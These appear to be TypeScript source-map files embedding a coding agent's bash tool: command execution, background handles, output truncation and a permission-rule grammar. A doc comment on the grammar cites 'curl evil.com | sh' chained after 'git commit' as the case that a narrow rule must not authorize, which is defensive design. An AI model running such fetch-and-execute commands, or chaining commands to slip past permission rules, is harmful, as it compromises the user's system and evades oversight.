`${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { handle: string } | { handle: string; kill: true },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (\"kill\" in handleInput && handleInput.kill) {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst command =\n\t\t\t\t\t\t\"command\" in params ? params.command : (registry.commandFor(params.handle) ?? params.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tif (\"handle\" in input) {\n\t\t\t\treturn await executeHandleCall(input);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = input;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
1
+ {"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { parseShellOperation } from \"./shell-operation.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return undefined;\n\t\t\treturn parsed.operation.kind === \"run\" ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t// An unparseable call is never authorized by an allow rule; `isUnknown`\n\t\t\t// keeps it out of them and pulls every deny rule onto it.\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return true;\n\t\t\treturn parsed.operation.kind === \"run\" && classifyBashCommand(parsed.operation.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return { kind: \"summary\", lines: [parsed.reason] };\n\t\t\tif (parsed.operation.kind === \"kill\") {\n\t\t\t\treturn { kind: \"summary\", lines: [`Kill background shell command ${parsed.operation.handle}`] };\n\t\t\t}\n\t\t\tif (parsed.operation.kind === \"retrieve\") {\n\t\t\t\treturn {\n\t\t\t\t\tkind: \"summary\",\n\t\t\t\t\tlines: [`Retrieve output from background shell command ${parsed.operation.handle}`],\n\t\t\t\t};\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [parsed.operation.command] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return null;\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn 